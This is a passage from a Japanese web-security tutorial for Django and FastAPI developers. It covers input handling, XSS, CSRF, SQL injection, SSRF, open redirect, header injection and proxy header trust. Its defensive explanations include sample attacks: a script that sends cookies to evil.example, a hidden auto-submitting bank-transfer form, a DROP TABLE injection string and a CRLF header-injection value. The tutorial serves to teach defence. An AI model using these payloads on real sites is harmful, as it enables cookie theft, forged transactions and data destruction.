        if "<" in v or ">" in v:
            raise ValueError("商品名に不正な文字が含まれています。")
        return v

重要

両フレームワークに共通する原則は、バリデーションをビジネスロジックの手前に置くことです。Django では form.is_valid() を呼ばずに request.POST を直接使うコードは危険であり、FastAPI でも Pydantic モデルを経由せずに await request.json() で辞書を取り出してしまうと、型チェックが一切行われません。フレームワークが用意したバリデーション機構を「飛ばさない」ことが最初の防衛線です。

4.7.2. エスケープ

バリデーションを通過した値であっても、出力先の文脈に応じた無害化が必要です。これがエスケープです。

HTML コンテキストでのエスケープは XSS(クロスサイトスクリプティング)対策の基本です。Django テンプレートエンジンは変数を出力する際に <, >, &, ", ' を自動的にエスケープします。{{ user_input }} と書くだけで <script>alert('xss')</script>&lt;script&gt;alert(&#x27;xss&#x27;)&lt;/script&gt; に変換され、ブラウザ上でスクリプトとして実行されません。

警告

{{ user_input|safe }}{% autoescape off %} を使うと自動エスケープが解除されます。ユーザー入力に対してはこれらを使用しないでください。

FastAPI は API サーバとして JSON を返すケースが多く、ブラウザが HTML として解釈する場面は限られます。しかし Jinja2 テンプレートを使っている場合や、ユーザー入力を HTML メールに埋め込む場合は同じリスクが発生します。FastAPI で Jinja2 を使う場合もデフォルトで自動エスケープが有効ですが、Markup() で明示的にエスケープを解除した箇所には注意が必要です。

SQL コンテキストでは、Django の ORM と FastAPI で一般的に使われる SQLAlchemy のいずれもパラメータ化クエリを内部で使用しており、通常の使い方であれば SQL インジェクションは防がれます。しかし Django の extra()RawSQL、SQLAlchemy の text()f-string でユーザー入力を埋め込むと保護が無効になります。

# 危険な例(Django)
User.objects.raw(f"SELECT * FROM auth_user WHERE username = '{name}'")

# 安全な例(Django)
User.objects.raw("SELECT * FROM auth_user WHERE username = %s", [name])
# 危険な例(SQLAlchemy)
from sqlalchemy import text
session.execute(text(f"SELECT * FROM users WHERE name = '{name}'"))

# 安全な例(SQLAlchemy)
session.execute(text("SELECT * FROM users WHERE name = :name"), {"name": name})

Tip

エスケープの要点は「データの出力先(HTML、SQL、URL、ログ)ごとに適切な変換を行う」ことであり、入力時に一括して処理するものではありません。

4.7.3. 型変換

Web アプリケーションでは、HTTP リクエストから届くデータは基本的に文字列です。URL パスパラメータ /orders/4242 もクエリストリング ?page=33 も文字列として受信されます。これをプログラム内部の整数や日付に変換する工程が型変換であり、ここで不正な値が紛れ込むと予期しない動作が生じます。

Django のフォームフィールドは to_python() メソッドで文字列を Python オブジェクトに変換し、変換できなければ ValidationError を送出します。例えば IntegerField"abc" を渡すと「整数を入力してください。」というエラーになります。

FastAPI では Pydantic と Python 型ヒントの組み合わせにより、パスパラメータの型変換が自動的に行われます。

# FastAPI: パスパラメータの型変換
@app.get("/orders/{order_id}")
async def get_order(order_id: int):
    # order_id は自動的に int に変換される
    # "/orders/abc" へのリクエストは 422 が返る
    ...

注意すべきは、暗黙的な型変換と明示的な型変換の違いです。Python の int("0x1a", 16) は16進数を受け付けますし、bool("false")True を返します(空でない文字列はすべて真)。Pydantic v2 は strict モードを提供しており、bool フィールドが文字列の "true" を暗黙的に変換することを禁止できます。

from pydantic import BaseModel, ConfigDict

class StrictSettings(BaseModel):
    model_config = ConfigDict(strict=True)
    is_active: bool   # True/False のみ受付、"true" は拒否
    count: int         # 整数のみ受付、"123" は拒否

注意

型変換は「フレームワークに任せれば安全」という領域ですが、フレームワークを迂回して自前で変換するコード(int(request.GET["id"]))を書くと ValueError が未処理のまま 500 エラーになる場合があります。型変換もバリデーションと同様に、フレームワークの仕組みを経由させることが鉄則です。

4.7.4. サニタイズ

バリデーションが「不正な入力を拒否する」行為であるのに対し、サニタイズは「入力から危険な要素を除去または無害化して受け入れる」行為です。典型的なユースケースは、リッチテキストエディタから投稿される HTML フラグメントの処理です。

ユーザーが投稿した HTML をそのまま保存・表示すると、<script> タグや onerror 属性を通じて XSS 攻撃が成立します。

注釈

かつては Python コミュニティで Bleach が HTML サニタイズの標準でしたが、内部で使用する html5lib がメンテナンス停止となったため、2023年に非推奨となりました。現在は Rust ベースの nh3 が推奨されています。nh3 は Bleach とほぼ同じ API を持ちながら約20倍高速で、活発にメンテナンスされています。

Django で nh3 を使ったサニタイズ例を示します。カスタムフォームフィールドを作成し、to_python() の段階で HTML を洗浄します。

# Django: forms.py
import nh3
from django import forms

class SanitizedTextField(forms.CharField):
    def to_python(self, value):
        value = super().to_python(value)
        if value not in self.empty_values:
            value = nh3.clean(
                value,
                tags={"p", "strong", "em", "a", "br"},
                attributes={"a": {"href"}},
            )
        return value

この設定では <p>, <strong>, <em>, <a href="...">, <br> のみが許可され、<script><img onerror="..."> は除去されます。モデルフィールド側で formfield() をオーバーライドすれば、ModelForm でも自動的にサニタイズが適用されます。

FastAPI では Pydantic のバリデータ内でサニタイズを行う方法が自然です。

# FastAPI: schemas.py
import nh3
from pydantic import BaseModel, field_validator

class CommentCreate(BaseModel):
    body: str

    @field_validator("body")
    @classmethod
    def sanitize_html(cls, v: str) -> str:
        return nh3.clean(
            v,
            tags={"p", "strong", "em", "a", "br"},
            attributes={"a": {"href"}},
        )

警告

サニタイズでは許可リスト(allowlist)方式を採用することが重要です。禁止リスト(blocklist)で <script> だけを除外しても、攻撃者は <svg onload="..."><math><mtext><table><mglyph><style>... のように新しい手法を編み出します。許可リストであれば、明示的に安全と判断したタグだけが残り、未知のタグは自動的に除去されます。

サニタイズはフォームやシリアライザの層だけでなく、API エンドポイント経由のデータやバッチインポート処理にも適用する必要があります。Django の nh3.clean() をフォームフィールドに組み込んだだけでは、DRF のシリアライザや management command から入るデータは保護されません。nh3 の呼び出しをユーティリティ関数として切り出し、複数の入口から一貫して呼べる設計にすることが実務上のポイントです。

4つの観点はそれぞれ役割が異なります。

手法

役割

バリデーション

門前払い

エスケープ

出口の変換

型変換

型の境界での検証

サニタイズ

受け入れつつ無害化

これらは排他的ではなく、すべてを組み合わせて多層防御を構成することが Web アプリケーションセキュリティの基本です。LLM が生成したコードであっても、人間が書いたコードであっても、この原則は変わりません。次節では、こうした防御を踏まえたうえで発生しうるエラーのログ設計と通知の仕組みを取り上げます。

4.8. Web アプリで最低限知るべき脅威

前節では「入力値を信用しない」という原則のもと、バリデーション・エスケープ・型変換・サニタイズの4つの防衛策を確認しました。以降では、その知識を土台に、Web アプリケーション開発者が最低限知っておくべき6つの代表的な脅威を取り上げます。

diagram

OWASP Top 10:2025 では「Injection(A05)」「Security Misconfiguration(A02)」「Broken Access Control(A01)」などが上位に挙がっていますが、ここでは Django と FastAPI の開発者が日常的に遭遇しやすい攻撃手法に絞り、それぞれの原理と両フレームワークでの守り方を具体的に示します。

重要

LLM にコードを書かせる時代だからこそ、生成されたコードに「この脅威への対策は入っているか?」と問える知識が不可欠です。

4.8.1. XSS

XSS(Cross-Site Scripting)は、攻撃者が悪意のある JavaScript をアプリケーションに注入し、他のユーザーのブラウザ上で実行させる攻撃です。たとえば掲示板の投稿欄に <script>document.location='https://evil.example/steal?c='+document.cookie</script> と書き込めてしまえば、その投稿を閲覧した全ユーザーの Cookie が外部サーバに送信されます。

XSS には大きく3種類があります。

種類

説明

Stored XSS

データベースに保存された悪意あるスクリプトが表示時に実行される

Reflected XSS

リクエストパラメータに含まれたスクリプトがレスポンスにそのまま反映される

DOM-based XSS

サーバを介さずクライアント側の JavaScript が DOM を操作する過程で発生する

Django のテンプレートエンジンは変数出力時に <, >, &, ", ' を自動エスケープします。{{ comment }} と書くだけで <script> タグは無害な文字列に変換されます。この保護が無効になるのは {{ comment|safe }}{% autoescape off %} を使った場合、あるいは mark_safe() を明示的に呼んだ場合です。Django 6.0 では Content Security Policy(CSP)の組み込みサポートも追加され、万が一エスケープ漏れがあってもインラインスクリプトの実行をブラウザレベルで阻止できるようになりました。

# Django: テンプレートでの安全な出力(自動エスケープ)
# templates/comment.html
<p>{{ comment.body }}</p>
# comment.body が "<script>alert('xss')</script>" でも
# 出力は "&lt;script&gt;alert(&#x27;xss&#x27;)&lt;/script&gt;" になる

FastAPI は JSON API として使う場合、レスポンス自体は application/json であるためブラウザが HTML として解釈することはありません。しかし Jinja2 テンプレートで HTML を返す場合や、フロントエンドが受け取った JSON を innerHTML でそのまま描画してしまう場合には XSS が成立します。FastAPI 側で Jinja2 を使うときはデフォルトの自動エスケープが有効ですが、フロントエンドとの責任分界を明確にしておくことが重要です。

Tip

API が返す JSON データはすべて「信頼できないデータ」としてフロントエンド側でもエスケープする、という二重防御が理想です。

リッチテキストを扱う場合は前節で紹介した nh3 によるサニタイズを保存時に適用し、許可リストに含まれないタグを除去してからデータベースに格納します。

4.8.2. CSRF

CSRF(Cross-Site Request Forgery)は、ログイン済みユーザーのブラウザを利用して、そのユーザーの意図しないリクエストを送信させる攻撃です。攻撃者は自分のサイトに以下のような隠しフォームを仕込みます。

<!-- 攻撃者のサイト上 -->
<form action="https://yourbank.example/transfer" method="POST" style="display:none">
  <input name="to" value="attacker_account">
  <input name="amount" value="1000000">
</form>
<script>document.forms[0].submit();</script>

被害者がこのページを開くと、ブラウザは yourbank.example へのリクエストに Cookie を自動付与するため、認証済みの振込リクエストが成立してしまいます。

Django の CSRF 対策は成熟しています。CsrfViewMiddleware はレスポンスにランダムな秘密値を含む CSRF Cookie を設定し、POST フォームには {% csrf_token %} テンプレートタグで隠しフィールドを埋め込みます。リクエスト受信時に Cookie の秘密値とフォームのトークンを照合し、一致しなければ 403 を返します。HTTPS 環境では Origin ヘッダや Referer ヘッダの検証も加わり、サブドメインからの攻撃にも対処します。BREACH 攻撃対策として、トークンはリクエストごとにマスクされた異なる値になりますが、内部の秘密値は共通です。

# Django: CSRF の基本設定(settings.py)
MIDDLEWARE = [
    "django.middleware.csrf.CsrfViewMiddleware",
    # ...
]
# HTTPS 環境では以下も設定
CSRF_COOKIE_SECURE = True
CSRF_TRUSTED_ORIGINS = ["https://www.example.com"]

FastAPI は API フレームワークであり、Django のようなセッション Cookie ベースの CSRF 保護を内蔵していません。これは設計上の意図です。SPA(Single Page Application)と API の組み合わせでは、認証に Authorization: Bearer <token> ヘッダを使用するのが一般的であり、トークンはブラウザが自動送信しないため CSRF が成立しにくい構造になっています。

注意

Cookie に JWT を格納する設計を採用している場合は CSRF リスクが復活します。CORS の厳格な設定(allow_origins に信頼するオリジンのみを列挙)と、SameSite=Lax 以上の Cookie 属性の設定が必要です。

# FastAPI: CORS を厳格に設定して CSRF リスクを低減
from fastapi.middleware.cors import CORSMiddleware

app.add_middleware(
    CORSMiddleware,
    allow_origins=["https://www.example.com"],
    allow_credentials=True,
    allow_methods=["GET", "POST", "PUT", "DELETE"],
    allow_headers=["Authorization", "Content-Type"],
)

4.8.3. SQL injection

SQL インジェクションは、ユーザー入力を SQL 文に直接埋め込むことで、攻撃者が任意の SQL を実行できてしまう脆弱性です。SELECT * FROM users WHERE name = ' の後ろに '; DROP TABLE users; -- を注入されれば、テーブルが削除されます。OWASP Top 10:2025 でも「Injection(A05)」として引き続き上位にランクインしています。

Django の ORM はクエリをパラメータ化して構築するため、通常の使い方であれば SQL インジェクションは防がれます。User.objects.filter(username=name) と書けば、name の値はプレースホルダとして渡され、SQL の構造を変化させることはできません。危険が生じるのは extra(), RawSQL, raw() を使い、かつ f-string やフォーマット文字列でユーザー入力を埋め込んだ場合です。

# Django: 危険な例
User.objects.raw(f"SELECT * FROM auth_user WHERE username = '{name}'")

# Django: 安全な例
User.objects.raw("SELECT * FROM auth_user WHERE username = %s", [name])

# Django: 最も安全(ORM を使う)
User.objects.filter(username=name)

FastAPI で一般的に使われる SQLAlchemy も同様にパラメータ化クエリを内部で使用します。SQLModel の .where() 構文や SQLAlchemy の select().where() を使っている限り安全です。

# FastAPI + SQLModel: 安全な例
from sqlmodel import Session, select

def get_user(session: Session, username: str):
    statement = select(User).where(User.username == username)
    return session.exec(statement).first()
# FastAPI + SQLAlchemy: 危険な例(text + f-string)
from sqlalchemy import text
session.execute(text(f"SELECT * FROM users WHERE name = '{name}'"))

# FastAPI + SQLAlchemy: 安全な例(バインドパラメータ)
session.execute(text("SELECT * FROM users WHERE name = :name"), {"name": name})

注釈

「ORM を使っていれば安全」は概ね正しいですが、パフォーマンスチューニングで生 SQL に手を出す場面が必ず訪れます。そのときこそパラメータ化クエリを徹底する意識が試されます。

4.8.4. SSRF

SSRF(Server-Side Request Forgery)は、攻撃者がサーバに意図しない URL へのリクエストを実行させる攻撃です。たとえば「URL を指定するとそのページの OGP 情報を取得する機能」がある場合、攻撃者が http://169.254.169.254/latest/meta-data/ を指定すれば、AWS のインスタンスメタデータ(IAM ロールの認証情報を含む)が漏洩する恐れがあります。クラウド環境ではこの攻撃が特に深刻で、内部ネットワークのサービスやメタデータエンドポイントへのアクセスが可能になります。

Django でも FastAPI でも、SSRF 対策のフレームワーク組み込み機能は存在しません。開発者が自ら防御ロジックを実装する必要があります。対策の基本は、ユーザーが指定した URL の宛先を許可リストで制限し、内部アドレスへのリクエストを拒否することです。

# Django / FastAPI 共通: SSRF 対策のユーティリティ例
import ipaddress
import socket
from urllib.parse import urlparse

BLOCKED_NETWORKS = [
    ipaddress.ip_network("127.0.0.0/8"),
    ipaddress.ip_network("10.0.0.0/8"),
    ipaddress.ip_network("172.16.0.0/12"),
    ipaddress.ip_network("192.168.0.0/16"),
    ipaddress.ip_network("169.254.0.0/16"),  # リンクローカル / クラウドメタデータ
]

def validate_url(url: str) -> str:
    parsed = urlparse(url)
    if parsed.scheme not in ("http", "https"):
        raise ValueError("許可されていないスキームです。")
    hostname = parsed.hostname
    if hostname is None:
        raise ValueError("ホスト名が不正です。")
    try:
        resolved_ip = ipaddress.ip_address(socket.gethostbyname(hostname))
    except (socket.gaierror, ValueError):
        raise ValueError("名前解決に失敗しました。")
    for network in BLOCKED_NETWORKS:
        if resolved_ip in network:
            raise ValueError("内部ネットワークへのリクエストは許可されていません。")
    return url

この関数を HTTP リクエストを発行する前に必ず呼び出します。

注意

DNS リバインディング攻撃(名前解決時は外部 IP を返し、実際のリクエスト時に内部 IP に切り替わる手法)への対策として、解決した IP アドレスを使って直接接続するか、リクエストライブラリの DNS キャッシュを制御する必要があります。

4.8.5. open redirect

オープンリダイレクトは、リダイレクト先 URL をリクエストパラメータで受け取る機能を悪用し、ユーザーを外部の悪意あるサイトへ誘導する脆弱性です。典型的にはログイン後の遷移先を ?next= パラメータで指定する場面で発生します。

正規: https://example.com/login/?next=/dashboard/
攻撃: https://example.com/login/?next=https://evil.example/phishing

ユーザーは example.com のログインページを見ているため URL を疑わず、ログイン後にフィッシングサイトへ遷移してしまいます。

Django は LoginViewLogoutViewnext パラメータを処理する際に url_has_allowed_host_and_scheme() 関数(旧名 is_safe_url())を内部で呼び出し、リダイレクト先が同一ホストまたは ALLOWED_HOSTS に含まれるかを検証します。したがって Django の認証ビューをそのまま使う限り、オープンリダイレクトは防がれます。危険が生じるのは、自前で request.GET["next"] を取得して redirect() に渡すコードを書いた場合です。

# Django: 危険な例
def login_view(request):
    # ... 認証処理 ...
    next_url = request.GET.get("next", "/")
    return redirect(next_url)  # 外部 URL を検証せずにリダイレクト

# Django: 安全な例
from django.utils.http import url_has_allowed_host_and_scheme

def login_view(request):
    # ... 認証処理 ...
    next_url = request.GET.get("next", "/")
    if not url_has_allowed_host_and_scheme(next_url, allowed_hosts={request.get_host()}):
        next_url = "/"
    return redirect(next_url)

FastAPI にはリダイレクト先を自動検証する仕組みがないため、RedirectResponse を使う際には開発者が明示的に検証を行う必要があります。

注釈

オープンリダイレクト自体は「ユーザーが別のサイトに飛ばされるだけ」に見えますが、フィッシング攻撃の入り口として利用されるほか、OAuth のコールバック URL に悪用されると認可コードの窃取につながるため、軽視すべきではありません。

# FastAPI: 安全なリダイレクト
from urllib.parse import urlparse
from fastapi.responses import RedirectResponse

ALLOWED_HOSTS = {"www.example.com", "example.com"}

@app.get("/auth/callback")
async def auth_callback(next: str = "/"):
    parsed = urlparse(next)
    if parsed.netloc and parsed.netloc not in ALLOWED_HOSTS:
        next = "/"
    return RedirectResponse(url=next)

4.8.6. header injection

ヘッダインジェクション(HTTP レスポンス分割)は、ユーザー入力が HTTP レスポンスヘッダに反映される箇所で、改行コード(\r\n = CRLF)を注入することで任意のヘッダやレスポンスボディを挿入する攻撃です。

たとえば Location ヘッダにユーザー入力をそのまま使うと、value\r\nSet-Cookie: session=attacker_value\r\n\r\n<script>alert('xss')</script> のような入力で、任意の Cookie 設定と XSS を同時に引き起こせます。

現代の Python Web フレームワークとサーバは、この攻撃に対して比較的堅牢です。Django の HttpResponse はヘッダ値に含まれる改行文字を検出すると BadHeaderError を送出します。Uvicorn や Gunicorn も HTTP レスポンスの構築時にヘッダ値の改行を拒否またはエスケープします。

# Django: ヘッダインジェクションが自動的にブロックされる例
from django.http import HttpResponse

def set_custom_header(request):
    user_value = request.GET.get("lang", "ja")
    response = HttpResponse("OK")
    response["Content-Language"] = user_value
    # user_value に "\r\n" が含まれると BadHeaderError が発生
    return response

FastAPI(Starlette)でも Response オブジェクトのヘッダ設定時に ASGI サーバが改行を処理しますが、\r\n の検出はサーバ実装に依存する部分があります。防御をフレームワーク任せにせず、ヘッダに設定する値からは改行文字を除去するユーティリティを用意しておくのが堅実です。

# FastAPI: ヘッダ値を安全にする関数
import re

def sanitize_header_value(value: str) -> str:
    return re.sub(r"[\r\n]", "", value)

@app.get("/download")
async def download(filename: str = "report.csv"):
    safe_filename = sanitize_header_value(filename)
    return Response(
        content=csv_data,
        media_type="text/csv",
        headers={"Content-Disposition": f'attachment; filename="{safe_filename}"'},
    )

ヘッダインジェクションで特に注意すべき場所を以下に示します。

  • Content-Disposition(ダウンロードファイル名)

  • Location(リダイレクト先)

  • Set-Cookie(Cookie 値)

メールの ToSubject ヘッダにも同じリスクがあります。Django の send_mail() は内部でヘッダインジェクションを防いでいますが、EmailMessage を手動で構築する場合は改行の除去を忘れないようにしましょう。

以上の6つの脅威は、Web アプリケーション開発で繰り返し遭遇する古典的な攻撃手法です。

フレームワーク

対応状況

Django

多くの脅威に対してフレームワークレベルの自動防御を提供

FastAPI

API 中心の設計から一部の防御(CSRF、オープンリダイレクト検証)を開発者に委ねる

どちらのフレームワークを使う場合でも、「フレームワークの保護が有効に機能しているか」「保護を迂回するコードを書いていないか」を常に確認する姿勢が求められます。

次節では、これらの脅威への対策を含めた本番環境でのセキュリティ設定を取り上げ、デプロイ前に確認すべき項目を見ていきます。

4.9. Proxy / Host / Scheme まわりの注意

本番環境の Web アプリケーションは、ほぼ例外なくリバースプロキシ(nginx や Caddy、クラウドロードバランサなど)の背後で動作します。3 章開発環境と本番環境は何が違うのか)で構成を学んだとおり、クライアントからの HTTPS リクエストはまずプロキシが受け取り、内部的には HTTP でアプリケーションサーバへ転送されます。

この「間にプロキシが挟まる」構成は、パフォーマンスやセキュリティの面で大きなメリットがある一方、アプリケーションが見ているリクエスト情報と、クライアントが実際に送った情報との間にズレが生じるという厄介な問題を引き起こします。以降では、次の3つのヘッダと、それらを安全に扱うための「信頼できるプロキシ」の考え方を見ていきます。

  • Host ヘッダ

  • X-Forwarded-For

  • X-Forwarded-Proto

diagram

4.9.1. Host header

HTTP リクエストの Host ヘッダは、クライアントがアクセスしようとしているドメイン名を示します。Django はこのヘッダを request.get_host() で取得し、絶対 URL の生成やリダイレクト先の構築に利用します。

危険

攻撃者が Host: evil.example という偽のヘッダを送り込めた場合、パスワードリセットメールに https://evil.example/reset/... というリンクが埋め込まれるホストヘッダ攻撃が成立します。ユーザーがそのリンクをクリックすれば、リセットトークンが攻撃者の管理するサーバに送信されてしまいます。

Django はこの攻撃を ALLOWED_HOSTS 設定で防御します。request.get_host() が呼ばれるたびに、受信した Host ヘッダの値が ALLOWED_HOSTS のリストと照合され、一致しなければ SuspiciousOperation 例外が発生して 400 Bad Request が返されます。DEBUG = True の開発環境では localhost, 127.0.0.1, [::1] が暗黙的に許可されますが、DEBUG = False の本番環境では明示的な設定が必須です。

# Django: settings.py
ALLOWED_HOSTS = ["www.example.com", "example.com"]

# サブドメインをまとめて許可する場合(先頭のドット)
# ALLOWED_HOSTS = [".example.com"]

警告

ALLOWED_HOSTS = ["*"] と設定すると全てのホスト名を受け入れるため、ホストヘッダ攻撃への保護が完全に無効化されます。nginx 側で server_name を限定していても、設定ミスやデフォルトサーバの存在で意図しないリクエストがアプリケーションに到達するケースがあるため、Django 側でもワイルドカードは避けるべきです。

さらに、リバースプロキシが元のホスト名を X-Forwarded-Host ヘッダで転送する構成の場合、Django の USE_X_FORWARDED_HOST = True を設定すると request.get_host()X-Forwarded-Host の値を優先して使用します。この設定を有効にする場合も、ALLOWED_HOSTS の検証は X-Forwarded-Host の値に対して行われるため、許可リストは引き続き適切に維持する必要があります。

FastAPI(Starlette)には Django の ALLOWED_HOSTS に相当する組み込み機能がありません。Starlette が提供する TrustedHostMiddleware を追加することで同等の保護を実現できます。

# FastAPI: Host ヘッダの検証
from starlette.middleware.trustedhost import TrustedHostMiddleware

app.add_middleware(
    TrustedHostMiddleware,
    allowed_hosts=["www.example.com", "example.com"],
)
# 許可されていない Host ヘッダのリクエストは 400 が返される

4.9.2. X-Forwarded-For

X-Forwarded-For(XFF)ヘッダは、リクエストがプロキシを経由する際に、元のクライアント IP アドレスを伝達するための慣例的なヘッダです。プロキシが存在しなければ request.META["REMOTE_ADDR"](Django)や request.client.host(FastAPI)で直接クライアント IP を取得できますが、プロキシの背後ではこれらの値はプロキシ自身の IP アドレスになってしまいます。

XFF ヘッダは複数のプロキシを通過すると、左から右へ IP アドレスが追加されていきます。たとえば X-Forwarded-For: 203.0.113.50, 198.51.100.10 であれば、203.0.113.50 が元のクライアント、198.51.100.10 が途中のプロキシということになります。

注意

XFF ヘッダはクライアントが自由に偽装できます。攻撃者が最初のリクエストに X-Forwarded-For: 1.2.3.4 を付与して送信すれば、プロキシが末尾に本当のクライアント IP を追加しても、アプリケーションが単純に「左端 = クライアント IP」と解釈すると偽装された値を信じてしまいます。これが IP アドレスに基づくレート制限やアクセス制御を突破する手段になります。

安全にクライアント IP を特定するには、右端から数えて、自分が管理するプロキシの数だけスキップした位置の IP を採用するという原則に従います。たとえばインフラが「CDN → ロードバランサ → アプリ」の3層構成であれば、信頼できるプロキシは2つです。XFF ヘッダの右端から2番目のプロキシが追加した値(右端から3番目の IP)が、外部から到達したクライアント IP ということになります。

nginx 側の設定としては、2つのアプローチがあります。外部から送られてきた XFF ヘッダを完全に上書きする方法と、末尾に追記する方法です。

# nginx: 外部の XFF を破棄し、接続元 IP のみを設定(最も安全)
proxy_set_header X-Forwarded-For $remote_addr;

# nginx: 既存の XFF に接続元 IP を追記(複数プロキシ構成向け)
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

単一のリバースプロキシ構成では前者が最も安全です。アプリケーション側ではその値をそのままクライアント IP として扱えます。

4.9.3. X-Forwarded-Proto

X-Forwarded-Proto ヘッダは、クライアントがプロキシに接続した際のプロトコル(https または http)を伝達します。リバースプロキシで TLS を終端する構成では、プロキシからアプリケーションサーバへの通信は HTTP になるため、アプリケーションが request.is_secure() を呼んでも False が返されます。

この状態のまま放置すると、次のような問題が連鎖的に発生します。

  • HTTPS のリダイレクトが無限ループする

  • CSRF 検証が Referer ヘッダのスキーム不一致で失敗する

  • セッション Cookie に Secure 属性が付与されない

Django ではこのヘッダを信頼するための設定が SECURE_PROXY_SSL_HEADER です。

# Django: settings.py
SECURE_PROXY_SSL_HEADER = ("HTTP_X_FORWARDED_PROTO", "https")

この設定により、X-Forwarded-Proto: https が付与されたリクエストに対して request.is_secure()True を返すようになります。

警告

Django の公式ドキュメントはこの設定に関して明確な警告を記載しています。プロキシが X-Forwarded-Proto を正しく設定していること、そしてアプリケーションサーバにプロキシ以外から直接アクセスできないことが前提条件です。もしクライアントがプロキシを経由せず直接アプリケーションに X-Forwarded-Proto: https を送り込める構成であれば、この設定はセキュリティホールになります。

FastAPI / Uvicorn では --proxy-headers フラグ(デフォルトで有効)が XFF と X-Forwarded-Proto の両方を処理します。Uvicorn は --forwarded-allow-ips で信頼するプロキシの IP を制限できます。

# Uvicorn: 信頼するプロキシ IP を明示的に指定
uvicorn myapp:app --proxy-headers --forwarded-allow-ips="10.0.0.1,10.0.0.2"

nginx 側では、プロキシが常に正しいスキームを転送するように設定します。

# nginx: X-Forwarded-Proto の設定
proxy_set_header X-Forwarded-Proto $scheme;

4.9.4. trusted proxy の考え方

ここまで見てきた3つのヘッダに共通する問題は、ヘッダの値を信頼してよいのはプロキシが設定した場合に限られるという点です。クライアントが直接送り込んだ値を信頼すると、IP アドレス偽装、スキーム詐称、ホスト名操作などの攻撃が成立します。この問題を体系的に管理するのが「信頼できるプロキシ」の概念です。

設計原則は次の3点です。

  1. ネットワーク構成: アプリケーションサーバはリバースプロキシからのリクエストのみを受け付けるように構成します。ファイアウォールや Docker ネットワーク、Kubernetes の Service/NetworkPolicy を使い、外部からアプリケーションサーバのポートに直接到達できない状態にします。

  2. ヘッダの上書き: 最外層のプロキシ(nginx、CDN、ロードバランサ)では外部から送られてきた X-Forwarded-* ヘッダを上書きまたは除去し、自身が信頼できる値のみを設定します。

  3. アプリケーション側の宣言: 「このヘッダを信頼する」という宣言を、信頼できるプロキシの IP アドレスと紐づけて行います。

Django では SECURE_PROXY_SSL_HEADERUSE_X_FORWARDED_HOST が信頼の宣言にあたります。Django 自体には「どの IP からの転送ヘッダを信頼するか」を制限する仕組みがないため、ネットワーク層での防御が前提です。IP ベースの制限が必要な場合は django-ipware などのライブラリが XFF の解析時にプロキシ数やプロキシ IP リストを考慮してクライアント IP を特定する機能を提供します。

Uvicorn の --forwarded-allow-ips は、指定した IP アドレスからのリクエストに含まれる転送ヘッダのみを信頼する仕組みです。デフォルトは 127.0.0.1 であり、Docker 環境ではプロキシコンテナの IP(例えば 172.17.0.1)を明示的に追加する必要があります。Kubernetes のように Pod の IP が動的に変わる環境では --forwarded-allow-ips="*" として全 IP を信頼せざるを得ない場合がありますが、その際は NetworkPolicy でアプリケーション Pod へのアクセスを ingress コントローラに限定することでセキュリティを確保します。

# Django: プロキシ関連の設定をまとめた例
# settings.py
ALLOWED_HOSTS = ["www.example.com", "example.com"]
USE_X_FORWARDED_HOST = True
SECURE_PROXY_SSL_HEADER = ("HTTP_X_FORWARDED_PROTO", "https")
SECURE_SSL_REDIRECT = True
SESSION_COOKIE_SECURE = True
CSRF_COOKIE_SECURE = True
# Uvicorn: プロキシ信頼の設定例
uvicorn myapp:app \
    --proxy-headers \
    --forwarded-allow-ips="10.0.0.1" \
    --host 0.0.0.0 \
    --port 8000

設定を誤ったときに発生する典型的な症状をまとめます。

症状

原因

全リクエストが 400 になる

ALLOWED_HOSTS にプロキシが転送するホスト名が含まれていない

無限リダイレクトが発生する

SECURE_PROXY_SSL_HEADER を設定せずに SECURE_SSL_REDIRECT = True にしている

request.client.host がプロキシ IP のままになる

--forwarded-allow-ips にプロキシ IP が含まれていない

これらの症状はいずれもアプリケーションのコードではなく設定に原因があるため、ログとヘッダの突き合わせによるデバッグが欠かせません。

Tip

本節の要点は「プロキシが付与するヘッダは便利だが、信頼の境界を明確に定義しなければセキュリティ上の弱点になる」ということです。

次節では、これまでの脅威対策とプロキシ設定を踏まえた本番環境のセキュリティ設定を取り上げます。

4.10. 開発サーバを本番利用してはいけない理由

Django の python manage.py runserver や Uvicorn の uvicorn --reload は、開発者のローカルマシンで素早くコードを動かし、変更を即座に確認するために設計されたツールです。

危険

Django の公式ドキュメントには「DO NOT USE THIS SERVER IN A PRODUCTION SETTING.」と大文字で警告が記されています。Uvicorn のドキュメントも --reload を「development only」と明記しています。

しかし現場では「開発環境で動いているからそのままデプロイしよう」という誘惑が今も後を絶ちません。LLM にデプロイ手順を聞いても runserver 0.0.0.0:8000 で終わる回答が返ってくることすらあります。以降では、なぜこれが危険なのかを、デバッグ機能・安全性・性能・安定性の4つの観点から見ていきます。

diagram

4.10.1. デバッグ機能

開発サーバの最大の特徴は、エラーが発生したときに詳細なデバッグ情報をブラウザに表示することです。Django は DEBUG = True のとき、例外が発生すると HTML ページとして次の情報を返します。

  • スタックトレース

  • ローカル変数の値

  • 設定ファイルのほぼ全内容

  • 実行された SQL クエリの一覧

このページには SECRET_KEY こそマスクされますが、データベースのホスト名やポート、インストール済みアプリの一覧、ミドルウェアの順序、テンプレートディレクトリのフルパスなど、攻撃者にとって極めて有用な情報が含まれています。

# Django: DEBUG = True のデバッグページに表示される情報の例
# - Python のバージョンとパス
# - settings.py の全設定(SECRET_KEY 等の一部はフィルタされるが不完全)
# - 例外発生箇所のソースコード数行
# - ローカル変数の値(ユーザーのパスワードハッシュ等が含まれる可能性)
# - 直前に実行された SQL クエリとバインドパラメータ
# - リクエストの全ヘッダと Cookie

FastAPI も debug=True で初期化すると、例外発生時に Starlette の ServerErrorMiddleware が HTML 形式のトレースバックを返します。API サーバとして JSON を返す前提であっても、text/html を Accept するブラウザからアクセスすれば、内部構造が丸見えになります。

さらに Django の開発サーバは、実行中の SQL クエリをすべてメモリに蓄積します。django.db.connection.queries にクエリが追加され続けるため、長時間稼働するとメモリが際限なく増加します。これはデバッグ専用の機能であり、本番で有効にすべきものではありません。

本番環境では DEBUG = False(Django)または debug=False(FastAPI)を必ず設定し、エラー詳細はログに記録してクライアントには汎用的な 500 レスポンスのみを返す構成にします。14-1 で学んだ例外の多層処理がここで活きてきます。

4.10.2. 安全性

開発サーバは「信頼できるローカル環境で動かす」ことを前提に設計されているため、本番環境に必要なセキュリティ機能がことごとく欠けています。

